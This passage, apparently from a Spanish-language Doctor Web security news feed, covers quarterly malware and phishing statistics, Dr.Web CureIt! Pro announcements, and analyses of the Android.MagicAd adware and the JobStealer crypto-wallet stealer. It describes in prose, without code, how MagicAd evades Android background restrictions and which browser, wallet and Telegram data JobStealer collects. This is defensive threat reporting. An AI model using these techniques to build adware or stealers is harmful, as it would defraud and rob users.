Trojan.Encoder.37400 — 3,95% de solicitudes de usuarios
Trojan.Encoder.35209 — 3,29% de solicitudes de usuarios
Trojan.Encoder.44197 — 2,63% de solicitudes de usuarios

Fraudulencias en la red

Una de las tendencias observadas por los analistas de Internet de Doctor Web durante el segundo trimestre de 2026 fue que, a medida que aumentaba la audiencia del messenger ruso MAX, los ciberdelincuentes comenzaron a intensificar sus ataques contra los usuarios de esta plataforma. Para ello, recurrieron a esquemas ya conocidos que anteriormente estaban dirigidos a usuarios de otros servicios de mensajería, como Telegram y WhatsApp.

Por ejemplo, nuestros expertos detectaron numerosos sitios fraudulentos creados para robar cuentas de MAX bajo la apariencia de distintas votaciones. A las posibles víctimas se les invita a participar en un concurso o votación, pero para ello deben iniciar sesión en su cuenta introduciendo su número de teléfono móvil y el código de verificación recibido posteriormente. Cuando el usuario facilita estos datos, los atacantes obtienen acceso a su cuenta.

Un ejemplo de un sitio web phishing con el cual los estafadores acceden a la cuenta del Messenger MAX de la víctima

Durante el segundo trimestre, los analistas de Internet de Doctor Web detectaron la aparición de nuevos sitios web fraudulentos relacionados con inversiones. Además, los ciberdelincuentes siguieron las tendencias actuales y continuaron explotando activamente la temática de la inteligencia artificial.

Por ejemplo, en algunos de estos sitios ofrecían a las posibles víctimas la posibilidad de sumarse a un nuevo proyecto de inversión supuestamente vinculado a importantes entidades financieras rusas. Los estafadores prometían acceso a un chatbot especializado basado en la red neuronal ChatGPT, diseñado para ayudar en las inversiones. Para convertirse en participantes de este supuesto «proyecto», los visitantes debían registrarse facilitando información personal.

Un sitio web fraudulento ofrece registrarse en un supuesto proyecto de inversión vinculado a uno de los bancos rusos y obtener acceso a un chatbot financiero especializado basado en la red neuronal ChatGPT

Al mismo tiempo, los estafadores intentaban atraer a los usuarios de habla rusa utilizando no solo los nombres de bancos rusos, sino también los de entidades financieras extranjeras. Por ejemplo, los ciberdelincuentes presentaban varios sitios web de supuestos servicios de inversión como si estuvieran vinculados a bancos surcoreanos.

Uno de los sitios fraudulentos que ofrecía a los usuarios rusohablantes participar en un supuesto proyecto de inversión de un banco surcoreano y prometía ingresos de hasta 2.000.000 de wones surcoreanos

Durante el segundo trimestre continuó la actividad de los estafadores que intentaban robar credenciales de acceso a distintos servicios. Entre los numerosos sitios de phishing detectados figuraban páginas falsas que se hacían pasar por empresas de transporte. Uno de estos sitios estaba dirigido a los clientes de un servicio ruso de mensajería urgente.

A las posibles víctimas se les ofrecía iniciar sesión en su cuenta utilizando el número de teléfono móvil asociado a la misma o autenticarse a través del portal ruso de servicios públicos electrónicos Gosuslugi. Sin embargo, incluso después de «acceder» a la cuenta mediante la primera opción, el sitio seguía mostrando una segunda página de phishing, presentada como un formulario de autenticación a través de Gosuslugi.

Mediante este sitio fraudulento, los ciberdelincuentes podían robar las credenciales de varias cuentas a la vez: tanto las del área personal de la empresa de transporte como las del portal ruso de servicios públicos Gosuslugi

Nuestros expertos también detectaron nuevos sitios web de phishing que suplantaban a entidades financieras de distintos países. Así, a los clientes de uno de los bancos estadounidenses se les invitaba a iniciar sesión en su cuenta para comprobar si podían acceder a un tipo de interés más elevado reservado para «clientes fieles».

En otro caso, un sitio de phishing imitaba el diseño de uno de los bancos ecuatorianos y solicitaba a los usuarios su nombre de usuario y contraseña de acceso a la banca en línea:

Otra campaña de phishing estaba orientada a usuarios del Reino Unido. Los ciberdelincuentes creaban sitios web falsos de servicios públicos en los que proponían abonar una multa por aparcamiento indebido.

A las posibles víctimas se les pedía información personal detallada con el pretexto de verificar su identidad y, a continuación, se las redirigía a una página para abonar la supuesta multa.

Una de las estafas más populares sigue siendo la promesa de recibir varios tipos de ayudas o pagos gratuitos. Sin embargo, los ciberdelincuentes adaptan constantemente este tipo de fraude a la actualidad. Así, con motivo de la celebración del Día de Rusia, comenzaron a aparecer sitios web falsos que imitaban a entidades financieras rusas y en los que los estafadores prometían pagos especiales con motivo de la festividad. En uno de ellos, se aseguraba a los usuarios que podían recibir entre 5.000 y 300.000 rublos por participar en una encuesta:

En otra opción de este fraude, se prometía a los usuarios una supuesta «ayuda» de 5.000 rublos a cambio de completar una encuesta:

En un contexto marcado por informaciones especulativas sobre una posible escasez de combustible en algunas regiones de Rusia, algunos de estos sitios ofrecían vales para recibir gratuitamente entre 20 y 100 litros de carburante:

Después de responder a algunas preguntas sencillas, a los visitantes de estos sitios se les ofrecía completar una supuesta «verificación de identidad» para poder recibir la recompensa prometida. Para ello, debían proporcionar su nombre y apellidos, número de teléfono móvil y número de tarjeta bancaria. Posteriormente, los estafadores podían utilizar esta información para robar dinero a las víctimas.

Entre los sitios web maliciosos detectados durante el segundo trimestre también hubo portales falsos de la Federación Internacional de Fútbol Asociación (FIFA). En ellos, los usuarios supuestamente podían adquirir, de forma oficial, entradas para los partidos de la Copa Mundial de la FIFA 2026, productos de merchandising y diversos servicios prémium.

Al igual que en el sitio legítimo, a los visitantes de estas páginas fraudulentas se les ofrecía iniciar sesión con su cuenta FIFA ID. Sin embargo, el formulario de acceso aceptaba cualquier combinación de nombre de usuario y contraseña introducida por el usuario.

Formulario falso de inicio de sesión de FIFA ID

Una vez seleccionado el producto deseado, los aficionados al fútbol podían tramitar la compra y realizar el pago. No obstante, durante este proceso eran redirigidos al sitio web de uno de los servicios que figura en la base de recursos de Internet no recomendados por el antivirus Dr.Web.

El sitio web falso de la FIFA supuestamente permitía adquirir de forma oficial productos y servicios con licencia

Nuestros expertos también detectaron varias campañas de spam destinadas a difundir enlaces a sitios web falsos que se hacían pasar por conocidos marketplaces rusos. En ellos, los ciberdelincuentes invitaban a las posibles víctimas a participar en un supuesto «sorteo conmemorativo de aniversario». Los estafadores prometían premios tanto en metálico — de hasta 1.000.000 de rublos — como equipos informáticos y dispositivos móviles:

Para participar en la supuesta «promoción», los usuarios debían pulsar el botón correspondiente en estos sitios web. A continuación, se simulaba un proceso de sorteo de premios. Tras varios intentos, se informaba a la posible víctima de que había ganado varios regalos y de que supuestamente podía elegir entre recoger los premios en un punto de entrega del marketplace o recibir su equivalente en dinero mediante una transferencia bancaria.

Al elegir la opción de recibir los premios en un punto de recogida, los sitios web informaban de que los productos correspondientes se habían agotado. No obstante, aseguraban al usuario que todavía podía canjearlos por dinero. A continuación, la página simulaba una conversación con un operador para «confirmar» la intención de convertir los premios en efectivo. Para ello, la posible víctima debía facilitar el número de su tarjeta bancaria:

Tras introducirlo, los sitios web solicitaban el pago de una tasa administrativa para el supuesto «trámite oficial» del premio:

En realidad, las víctimas de estafadores no recibían ningún premio. Además de facilitar los datos de sus tarjetas bancarias a los estafadores, también les entregaban su propio dinero.

Conozca más sobre los sitios web no recomendados por el antivirus Dr.Web

Malware y software no deseado para dispositivos móviles

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el II trimestre del año 2026 los usuarios afrontaron los troyanos bancarios Android.Banker, con menor frecuencia, pero estas aplicaciones troyanas siguieron siendo el malware más popular. Además, otra vez se observó una reducción de la actividad de los troyanos de publicidad Android.HiddenAds y Android.MobiDash.

Los programas potencialmente peligrosos detectados con mayor frecuencia en el II trimestre fueron las aplicaciones Tool.Obfuscator.TrashCode y Tool.NPMod, modificadas con la utilidad de modding NP Manager. Los creadores de virus usan esta herramienta para proteger malware contra la detección por antivirus. Los programas no deseados más populares fueron los antivirus falsos Program.FakeAntiVirus. Para «desinfectar» las amenazas supuestamente encontradas, requieren adquirir una versión completa.

El adware más activo fueron los módulos Adware.AdPush que visualizan notificaciones falsas y recaban la información privada. Otra vez se difundieron las aplicaciones de optimización del SO Android Adware.Bastion.1.origin. Generan notificaciones con supuestos mensajes sobre falta de memoria RAM y errores del sistema para mostrar publicidad durante el proceso de «optimización».

El adware Adware.Opensite.15 también mantuvo una elevada actividad. Los ciberdelincuentes lo distribuyen haciéndolo pasar por programas de trucos para videojuegos que supuestamente permiten obtener varios recursos dentro de los juegos. En realidad, estas aplicaciones únicamente abren sitios web con publicidad.

En junio los expertos de la empresa Doctor Web advirtieron sobre el troyano Android.MagicAd.1 que pudo esquivar las restricciones del SO Android y visualizar publicidad en modo de segundo plano. Android.MagicAd.1 usa algunas aplicaciones terceras para eso, así como algunas metodologías que selecciona en función del productor del dispositivo objetivo.

Durante el II trimestre, nuestros analistas de virus detectaron en el catálogo Google Play más programas troyanos de las familias Android.Joker y Android.Subscription, que suscribían a usuarios a servicios de pago. En total, los mismos fueron descargados al menos 2 600 000 veces.

Los eventos más destacados vinculados a la seguridad «móvil» en el II trimestre

Los troyanos bancarios Android.Banker siguieron siendo líderes en cuanto al número de detecciones de malware en los dispositivos protegidos por Dr.Web.
Los malintencionados siguieron aplicar activamente las herramientas especializadas para el modding de aplicaciones Android para proteger los troyanos bancarios contra la detección por los antivirus.
La actividad de los troyanos de publicidad Android.MobiDash y Android.HiddenAds bajó otra vez.
Los analistas de virus de Doctor Web detectaron al troyano Android.MagicAd.1, que usa los programas terceros para esquivar las restricciones del SO Android y visualizar publicidad en modo de segundo plano.
En el catálogo Google Play fueron detectadas nuevas aplicaciones troyanas que suscriben a los usuarios a servicios de pago.

Para más información sobre los eventos de virus en el II trimestre del año 2026, consulte nuestro informe.

¡La espera ha terminado! Dr.Web CureIt! Pro ya está disponible gratis para todos los usuarios

Tue, 23 Jun 2026 11:55:00 GMT

Le presentamos Dr.Web CureIt! Pro, la versión avanzada de la famosa utilidad de desinfección. Ya está disponible y puede obtener acceso promocional gratuito desde este mismo momento.

Cómo obtener Dr.Web CureIt! Pro gratis

Para nuevos usuarios. Acceda al sitio web free.dr-web.es. Complete el formulario habitual para obtener la versión estándar de Dr.Web CureIt! y recibirá un enlace para descargar Dr.Web CureIt! Pro con una licencia de 1 día. Sin pagos ocultos: simplemente rellene el formulario y desinfecte su ordenador utilizando las funciones de configuración avanzadas.

Para los usuarios actuales de la versión de pago de Dr.Web CureIt!. Acceda a su Área personal, donde podrá descargar el instalador de Dr.Web CureIt! Pro. Descárguelo y utilícelo sin restricciones durante todo el período de validez de su licencia.

Le recordamos que la versión Pro le ofrece opciones flexibles de escaneo, administración de excepciones, asignación manual de acciones para las amenazas detectadas y estadísticas ampliadas.

¡Atención! El acceso promocional gratuito de 1 día a través del sitio web free.dr-web.es/ es una oferta especial que le permite descubrir todas las ventajas de la versión Pro sin coste alguno. La oferta es válida hasta el 30 de junio de 2026, inclusive.

A partir del 1 de julio de 2026 estarán disponibles:

La versión clásica gratuita de Dr.Web CureIt! para su descarga y desinfección de emergencia;
La versión avanzada de la utilidad Dr.Web CureIt! Pro.

¿Tiene alguna pregunta o ha detectado un comportamiento inusual del programa? Su opinión es muy importante para nosotros. Envíenos sus comentarios y sugerencias a través del tema fijado especialmente para ello en nuestro foro oficial.
¡Descargue Dr.Web CureIt! Pro hoy mismo y controle por completo el proceso de desinfección gracias a sus funciones de configuración avanzadas!

Dr.Web CureIt! será aún más cómodo. Anuncio de la versión Pro avanzada

Wed, 10 Jun 2026 09:50:40 GMT

Hemos analizado los comentarios de nuestros usuarios y hemos llegado a una conclusión importante. En un momento crítico, cuando el ordenador está infectado, no se necesitan configuraciones complejas: se necesita una solución rápida, sencilla y segura que pueda iniciarse y desinfectar el sistema con un solo clic.

Por ello, hemos revisado los principios de funcionamiento de la utilidad. El clásico Dr.Web CureIt! gratuito sigue disponible, pero ahora está aún más enfocado en lo esencial: basta con descargarlo, pulsar «Escanear» y listo. Se trata de un escáner rápido y seguro para la desinfección de emergencia, capaz de neutralizar amenazas activas y desinfectar el sistema.

¿Y para quienes necesitan controlar el proceso?

No hemos eliminado las funciones avanzadas. Al contrario, las hemos reunido en un producto independiente — Dr.Web CureIt! Pro, y lo hemos hecho más cómodo y accesible. Si necesita analizar un dispositivo extraíble, excluir carpetas del análisis o configurar la aplicación automática de acciones frente a las amenazas detectadas, dispondrá de un escáner flexible y completo por un coste mínimo.

¿Cómo funcionará?

Gratis y sencillo: descargue la versión habitual de Dr.Web CureIt! e inicie al instante un escaneo rápido. Es una solución ideal para situaciones en las que cada minuto cuenta.
Si necesita más: en nuestro sitio web o directamente desde la versión gratuita podrá adquirir Dr.Web CureIt! Pro y acceder a todas las funciones de configuración avanzadas.

De este modo, le ofrecemos una solución para cada necesidad: simplicidad, de forma gratuita; máxima flexibilidad, por tan solo 5 euro por 5 días o 10 euro por 10 días.
El lanzamiento de Dr.Web CureIt! Pro está previsto para principios de julio. Una semana antes, ofreceremos a todos los usuarios acceso gratuito a todas las funciones de la versión Pro, para que puedan evaluarlas antes de tomar una decisión.

El troyano Android.MagicAd muestra publicidad saltándose todas las restricciones

Fri, 05 Jun 2026 01:00:00 GMT

Los expertos del laboratorio antivirus de Doctor Web han detectado el programa troyano Android.MagicAd, que utiliza varios métodos para esquivar las restricciones del sistema operativo Android y mostrar publicidad mientras se ejecuta en segundo plano. Uno de estos métodos es universal, mientras que otros están diseñados para dispositivos de determinados fabricantes. Entre ellos se encuentran la explotación de aplicaciones de terceros, así como el uso del reproductor multimedia del sistema.

Android.MagicAd.1 se propagaba a través del catálogo oficial de aplicaciones GetApps para dispositivos Xiaomi y permanecía oculto en más de 50 juegos y programas diferentes. Estas aplicaciones aparecían en la tienda durante un breve periodo de tiempo — por lo general, menos de un mes — y después desaparecían, siendo sustituidas por otras nuevas. Es posible que, de este modo, los ciberdelincuentes intentaran proteger Android.MagicAd.1 de a una detección prematura, manteniendo al mismo tiempo su actividad: tras ser eliminados de la tienda, los programas troyanos continúan instalados en los dispositivos de los usuarios y pueden seguir llevando a cabo actividades maliciosas. Actualmente, ninguna de las aplicaciones identificadas por nosotros con Android.MagicAd.1 está disponible para su descarga en el catálogo GetApps, y los desarrolladores que las distribuían han dejado de publicar nuevas aplicaciones con este troyano.

La investigación realizada por los analistas de virus de Doctor Web ha demostrado que las primeras versiones de Android.MagicAd.1 aparecieron en 2025 y, además del catálogo GetApps, también se detectaron en Samsung Galaxy Store.

Unos ejemplos de juegos y aplicaciones del catálogo GetApps en los que se ocultaba Android.MagicAd.1. En el momento de la publicación de esta noticia, estas y otras variantes del troyano ya no estaban disponibles para su descarga

Una parte de las funciones maliciosas de Android.MagicAd.1 está en módulos dex ocultos dentro de bibliotecas nativas cifradas ubicadas en el directorio de recursos del troyano. Durante su ejecución, este descifra dichas bibliotecas, extrae de ellas sus componentes y los pone en funcionamiento.

Antes de comenzar a mostrar publicidad, el troyano realiza una serie de comprobaciones para asegurarse de que su entorno es seguro. Por ejemplo, busca indicios de ejecución en un entorno virtual, verifica si su instalación se ha producido de forma orgánica, comprueba que la dirección IP del dispositivo infectado no figure en su lista negra, etc.

Si Android.MagicAd.1 no detecta actividad sospechosa, oculta su icono de la lista de aplicaciones del menú principal. A continuación, crea un canal de notificaciones a través del cual inicia varios servicios maliciosos persistentes necesarios para funcionar en segundo plano cuando la ventana de la aplicación maliciosa está cerrada. Después, mediante el programador de tareas, Android.MagicAd.1 crea una tarea que reinicia periódicamente los servicios encargados de supervisar el funcionamiento del canal de notificaciones y, si es necesario, volver a activarlo. Además, en dispositivos con versiones relativamente antiguas del sistema operativo Android, el troyano activa una pantalla virtual para evitar que el sistema interrumpa el funcionamiento de uno de sus componentes.

Para mostrar publicidad en segundo plano cuando su ventana está cerrada, Android.MagicAd.1 utiliza varias técnicas, seleccionadas en función del fabricante del dispositivo infectado. Estas se implementan sin solicitar explícitamente el permiso del sistema SYSTEM_ALERT_WINDOW que permite a una aplicación mostrarse por encima de otros programas.

Independientemente del método utilizado, todos los banners publicitarios se cargan en forma de actividades semitransparentes (Translucent Activity), lo que permite al troyano mostrarlos por encima de las ventanas existentes.

Unos ejemplos de la publicidad mostrada por Android.MagicAd.1

Una de las técnicas se implementa mediante intenciones (Intent) dirigidas a otras aplicaciones. Esto permite al troyano esquivar las restricciones de las versiones modernas de Android, que impiden que las aplicaciones se inicien a sí mismas. Dependiendo del modelo del dispositivo infectado, mediante esta técnica Android.MagicAd.1 muestra directamente los anuncios o bien «obliga» a las aplicaciones objetivo a mostrar banners publicitarios.

En una de las variantes de este método, los objetivos del troyano son:

el navegador Mi Browser en dispositivos Xiaomi;
un entorno gráfico Miui SystemUI en dispositivos Xiaomi;
el lanzador Amazon Fire TV Home Screen en dispositivos Amazon TV.

Todas ellas son aplicaciones del sistema en los dispositivos correspondientes, por lo que pueden procesar intenciones incluso cuando no han sido iniciadas directamente por el usuario. Mientras estas aplicaciones permanezcan activas y puedan recibir intenciones, Android.MagicAd.1 puede utilizarlas para mostrar anuncios.

Cabe destacar que, si Mi Browser está instalado en un dispositivo Xiaomi como aplicación no perteneciente al sistema, el troyano también puede utilizar este navegador para mostrar publicidad, siempre que su ventana permanezca abierta.

Cuando Android.MagicAd.1 detecta Mi Browser en un dispositivo compatible, envía a su componente DEX (detectado por Dr.Web como Android.MagicAd.1.origin) una intención diferida para iniciar la publicidad. Este componente genera su propia intención a partir de ella y la transmite al navegador, que extrae la intención original y, de acuerdo con la misma, muestra la publicidad.

La interacción con los otros dos programas es algo diferente, ya que se utilizan para activar el troyano desde el modo de ejecución en segundo plano. En primer lugar, Android.MagicAd.1 envía al módulo Android.MagicAd.1.origin una intención diferida para iniciar la publicidad, y este transmite a las aplicaciones objetivo una intención propia para activarse. Si se trata de Miui SystemUI, esta responde enviando su propia intención para iniciar el módulo. Si, por el contrario, la aplicación objetivo es Amazon Fire TV Home Screen, inicia el módulo directamente mediante el nombre de su paquete. Una vez que obtiene el control, el módulo Android.MagicAd.1.origin muestra la publicidad que recibió en la intención diferida enviada por la aplicación maliciosa principal.

Si el troyano no consigue mostrar la publicidad, intenta utilizar este método dos veces más. En caso de que siga sin éxito, trata de mostrar los anuncios directamente, sin recurrir ya a las intenciones diferidas ni a su módulo dex malicioso.

Otra variante de este método es similar a la anterior y se utiliza para usar aplicaciones en dispositivos Vivo. La diferencia radica en que la publicidad se inicia mediante Android Binder, un componente del sistema que permite la comunicación entre procesos. En este caso, el troyano tiene como objetivo las siguientes aplicaciones del sistema:

iManager,
Contactos,
Vivo Browser,
Baidu IME Customized.

Android.MagicAd.1 las inicia a través de Android Binder, enviándole intenciones convencionales mediante el contenedor de datos Parcel. Estas aplicaciones posteriormente activan el componente troyano Android.MagicAd.1.origin que, tras salir del modo de ejecución en segundo plano, muestra la publicidad.

Android.MagicAd.1 también incorpora varias técnicas adicionales para mostrar publicidad mientras se ejecuta en segundo plano, entre ellas el uso del reproductor multimedia. A diferencia de los métodos dirigidos a dispositivos específicos, esta técnica es universal y funciona en la mayoría de los modelos de distintos fabricantes. Android.MagicAd.1 descifra un archivo de audio oculto en su código y lo guarda en su directorio de trabajo. A continuación, el malware inicia una instancia propia del reproductor multimedia del sistema, configura el volumen al mínimo y la vincula al sistema global de control multimedia de Android.

Posteriormente, para mostrar la publicidad, Android.MagicAd.1 instala un receptor de difusión que monitoriza las pulsaciones realizadas en dicho reproductor. Después, mediante un comando especial de ADB, el troyano simula acciones del usuario pulsando el botón de grabación del reproductor y cerrando inmediatamente su ventana. Al pulsar este botón, se activa el receptor multimedia del sistema, lo que permite a Android.MagicAd.1 tomar el control y mostrar la publicidad.

Dr.Web Security Space para dispositivos móviles detecta y elimina de forma segura todas las versiones conocidas del malware Android.MagicAd.1, por lo que nuestros usuarios están protegidos de esta amenaza.

Indicadores de compromiso

Más información sobre Android.MagicAd.1

Más información sobre Android.MagicAd.1.origin

En vez de trabajo: datos y dinero robados. En aplicaciones falsas para entrevistas online se oculta un troyano ladrón que ataca a usuarios de macOS y Windows

Wed, 27 May 2026 02:00:00 GMT

Los expertos de Doctor Web advierten sobre la propagación del troyano JobStealer, que roba información confidencial de usuarios de ordenadores con macOS y Windows. Su principal objetivo es el robo de datos de monederos de criptomonedas. Bajo el pretexto de realizar entrevistas online, los estafadores atraen a posibles víctimas a sitios web maliciosos donde les ofrecen instalar una aplicación de videoconferencia. En realidad, ese software es el propio troyano JobStealer.

El ataque comienza cuando los delincuentes contactan con posibles víctimas y les ofrecen una determinada vacante. Invitan a los usuarios a realizar una entrevista y les proporcionan enlaces a sitios web de supuestas «plataformas» para reuniones online, supuestamente para conectarse a una videoconferencia. Estos sitios parecen profesionales, pero en realidad son fraudulentos. Desde ellos se descarga el malware JobStealer bajo la apariencia de un programa para conferencias online. Además, los ciberdelincuentes utilizan varios diseños para estos recursos web y cambian también el nombre del propio programa. Nuestros expertos han encontrado variantes con nombres como MeetLab, Juseo, Meetix, Carolla y otros. En algunos casos, los ciberdelincuentes utilizan nombres de servicios reales, como Webex.

Unos ejemplos de sitios web de falsos servicios de conferencias online desde los que se descarga JobStealer

Para que los usuarios crean que las plataformas funcionan realmente, los estafadores crean canales correspondientes en Telegram y cuentas en redes sociales, por ejemplo en X.

Para hacer pasar el troyano por software legítimo, los delincuentes imitan actividad en las redes sociales

Para instalar el programa en dispositivos con macOS, a los visitantes de los sitios maliciosos se les ofrecen dos opciones:

copiar y ejecutar en el terminal el comando bash indicado en el sitio web;
descargar un archivo de imagen de disco en formato .dmg y ejecutarlo.

El troyano JobStealer se descarga desde sitios maliciosos tanto en forma de contenedor dmg como mediante la ejecución de un comando bash en el terminal

En el primer caso, al ejecutar el comando en el terminal, se descarga automáticamente de Internet y se ejecuta un script que descarga y lanza el archivo ejecutable de JobStealer (detectado como Mac.PWS.JobStealer.1).

En el segundo caso, la imagen dmg ofrecida para descarga ya contiene los archivos mencionados anteriormente. Al montarla, muestra instrucciones para la «instalación» de la aplicación. En ellas se indica que el usuario debe abrir el terminal y arrastrar al mismo la secuencia de comandos incluida. En realidad, en vez de instalar el software de videoconferencia, el script ejecutará el archivo troyano.

Una imagen con instrucciones que se muestra al abrir el archivo de imagen con el troyano JobStealer

Mac.PWS.JobStealer.1 es un archivo ejecutable contenedor en formato Fat Mach-O y contiene código binario para varias arquitecturas de procesador a la vez: x64 y arm64. En función de la plataforma del ordenador infectado, al ejecutar el troyano se utiliza automáticamente el componente correspondiente al procesador de destino.

Cabe señalar que existen varias versiones de Mac.PWS.JobStealer.1. Las variantes más antiguas del malware no eran compatibles con ordenadores Mac con arquitectura arm64. Además, carecían de ofuscación, que los creadores del malware comenzaron a añadir y reforzar conforme actualizaban el stealer.

Tras ejecutarse, Mac.PWS.JobStealer.1 muestra una ventana de phishing en la que informa de un supuesto error de funcionamiento. Para «solucionarlo», el malware solicita al usuario que introduzca la contraseña de su cuenta.

Una ventana de phishing en la que se solicita la contraseña de la cuenta del usuario de Mac

Posteriormente Mac.PWS.JobStealer.1 recaba los datos siguientes:

versión del sistema operativo y el identificador del ordenador;
datos de unas 300 extensiones de navegador de monederos de criptomonedas instaladas en los navegadores objetivo basados en Chromium (Chrome, Opera, Brave, OperaGX, Vivaldi, Edge, Arc, CocCoc);
archivos cookie de estos navegadores;
contraseñas y datos de tarjetas bancarias guardados en las listas de autocompletado del navegador;
archivos del messenger Telegram de los directorios /Library/Application Support/Telegram Desktop/tdata y /Documents/temp_data/Apps/Telegram donde se almacenan claves de sesión de autorización, archivos descargados, etc.;
notas del usuario de la aplicación Notes nativa de macOS;
presencia en el sistema de las aplicaciones de monederos de criptomonedas Ledger Live y Trezor Suite.

Estos datos se almacenan en un archivo ZIP y se cargan en el servidor C2.

Los creadores de virus también han preparado una versión del troyano JobStealer para ordenadores con sistema operativo Windows. Su funcionalidad es similar a la de la versión para macOS. Además, en algunos sitios maliciosos que distribuyen el stealer existen secciones para descargar la aplicación para otros sistemas operativos populares. Sin embargo, por el momento nuestros analistas de virus no han detectado su distribución. Por ejemplo, el botón de descarga para Linux está inactivo o redirige a la versión del troyano para Windows. Y en las secciones de descarga para dispositivos con iOS y Android se indica que esas versiones están en desarrollo. No obstante, no se puede descartar que en el futuro los atacantes comiencen a distribuir variantes del troyano también para estas plataformas.

Los sitios web maliciosos podrían distribuir potencialmente versiones del troyano JobStealer para Linux, iOS y Android

Todas las modificaciones conocidas del malware JobStealer son detectadas y eliminadas de forma fiable por los productos antivirus Dr.Web Security Space para macOS y Windows, y no son de amenaza para nuestros usuarios. Los sitios fraudulentos que distribuyen el troyano han sido añadidos a la base de recursos no recomendados y peligrosos, y también son bloqueados por Dr.Web.

MITRE ATT&CK®

Hemos analizado el malware JobStealer utilizando el framework MITRE ATT&CK®, que consiste en una matriz con descripciones de las tácticas y técnicas empleadas por los ciberdelincuentes para atacar sistemas de información. Como resultado, se identificaron las siguientes técnicas clave:

Etapa	Técnica
Ejecución	Ejecución con intervención del usuario (T1204) Copiado y pegado malicioso (T1204.004) Archivo malicioso (T1204.002)
Detección	Detección de archivos y directorios (T1083)
Recopilación de datos	Recopilación automatizada (T1119) Datos del sistema local (T1005) Credenciales de almacenes de contraseñas (T1555) Credenciales del llavero (T1555.001) Credenciales de navegadores (T1555.003) Captura de entradas del usuario (T1056) Captura de entradas en la interfaz gráfica de usuario (T1056.002) Archivado de los datos recopilados (T1560)
Mando y control	Servicio web (T1102)
Exfiltración de datos	Exfiltración automatizada (T1020) Exfiltración a través del canal de mando y control (T1041) Exfiltración mediante servicio web (T1567)

Más información sobre Mac.PWS.JobStealer.1

Indicadores de compromiso

Cambio en los plazos de soporte de los productos Dr.Web

Tue, 26 May 2026 11:46:48 GMT

De conformidad con la política del ciclo de vida, se han ampliado los plazos de soporte de varios productos Dr.Web.

Centro de Control Dr.Web Enterprise Security Suite, versión 13.0
Dr.Web Industrial, versión 13.0

Como parte de Dr.Web Desktop Security Suite:

Dr.Web 12.0 para estaciones de trabajo Windows
Dr.Web 12.0 para estaciones de trabajo macOS
Dr.Web 11.1 para estaciones de trabajo Linux
Dr.Web Katana Business Edition 1.0

Como parte de Dr.Web Server Security Suite:

Dr.Web 12.0 para servidores Windows
Dr.Web 11.1 para servidores UNIX
Dr.Web 12.0 para servidores macOS

Como parte de Dr.Web Mail Security Suite:

Dr.Web 11.1 para servidores de correo UNIX
Dr.Web 12.0 para Microsoft Exchange Server

Como parte de Dr.Web Gateway Security Suite:

Dr.Web 11.1 para Gateways de Internet UNIX

Como parte de Dr.Web Mobile Security Suite:

Dr.Web 12.0 para dispositivos móviles Android

La información actualizada sobre los plazos de soporte está disponible en la página del ciclo de vida de los productos.

Doctor Web: informe de la actividad de virus en el I trimestre de 2026

Wed, 01 Apr 2026 00:00:00 GMT

1 de abril de 2026

Según las estadísticas de detecciones del antivirus Dr.Web, en el I trimestre de 2026 el número total de amenazas detectadas disminuyó un 6,77 % en comparación con el IV trimestre del año pasado. El número de amenazas únicas se redujo un 11,98 %. En los dispositivos protegidos se detectaron con mayor frecuencia adware y troyanos publicitarios, malware descargador, así como backdoors.

En el tráfico de correo, lo más habitual fueron scripts maliciosos, backdoors y diversas aplicaciones troyanas. A través de correos electrónicos, los atacantes también distribuían documentos de phishing y exploits.

Los usuarios cuyos archivos se vieron afectados por troyanos cifradores se enfrentaron con mayor frecuencia a los cifradores Trojan.Encoder.35534, Trojan.Encoder.29750 y Trojan.Encoder.41868.

En el I trimestre de 2026, los analistas de internet de la empresa Doctor Web detectaron nuevos sitios de phishing, incluidos recursos falsos de entidades de crédito y marketplaces, así como una serie de otros sitios no deseados.

En el segmento de los dispositivos móviles se observó un aumento de la actividad de los troyanos bancarios. Al mismo tiempo, nuestros analistas de virus señalaron un incremento de la popularidad de la técnica de protección del malware frente a la detección por parte del software antivirus, que consiste en añadirles código basura.

En enero, los expertos de Doctor Web informaron sobre los troyanos clicker Android.Phantom, que utilizan aprendizaje automático y retransmisiones de vídeo para inflar artificialmente los clics en sitios web. Además, durante los últimos 3 meses hemos registrado la aparición de nuevo malware en el catálogo de Google Play, así mismo, de troyanos que suscribían a los usuarios a servicios de pago.

Principales tendencias del I trimestre

Se redujo el número de amenazas detectadas en los dispositivos protegidos
Entre las amenazas detectadas disminuyó el número de archivos únicos
En comparación con el periodo de observación anterior, se registraron menos solicitudes de descifrado de archivos afectados por programas troyanos cifradores
Continuó el crecimiento de la actividad de los troyanos bancarios para dispositivos Android
Los usuarios estuvieron amenazados por malware clicker Android.Phantom, que utiliza, entre otras cosas, tecnologías de aprendizaje automático para inflar artificialmente los clics en sitios web
En el catálogo de Google Play se detectó nuevo malware

Según los datos del servicio de estadísticas Doctor Web

Las amenazas más populares del I trimestre de 2026

Trojan.Siggen31.34463: Un troyano creado en el lenguaje de programación Go y destinado a descargar en el sistema objetivo varios mineros y adware. El malware es un archivo DLL y se encuentra en %appdata%\utorrent\lib.dll. Para su ejecución explota una vulnerabilidad de la clase DLL Search Order Hijacking en el cliente torrent uTorrent.
Adware.Downware.20655
Adware.Downware.20766: Un adware que actúa como instalador intermedio de programas pirata.
Trojan.BPlug.4268: Detección de un componente malicioso de la extensión de navegador WinSafe. Este componente es un script JavaScript que muestra publicidad intrusiva en los navegadores.
Adware.Siggen.33379: Falso bloqueador de publicidad para navegador Adblock Plus, que se instala en el sistema mediante otro malware con el fin de mostrar publicidad.

Estadísticas de malware en el tráfico de correo

Las amenazas más populares del I trimestre del año 2026 en el tráfico de correo

JS.DownLoader.1225: Detección heurística para archivos ZIP que contienen scripts JavaScript con nombres sospechosos.
W97M.DownLoader.2938: Familia de troyanos descargadores que utilizan vulnerabilidades de documentos de Microsoft Office. Están destinados a descargar otro malware en el ordenador atacado.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Exploits para aprovechar vulnerabilidades en software de Microsoft Office, que permiten ejecutar código aleatorio.
JS.Redirector.514: Script malicioso que redirige al usuario a una página web controlada por los atacantes.

Cifradores

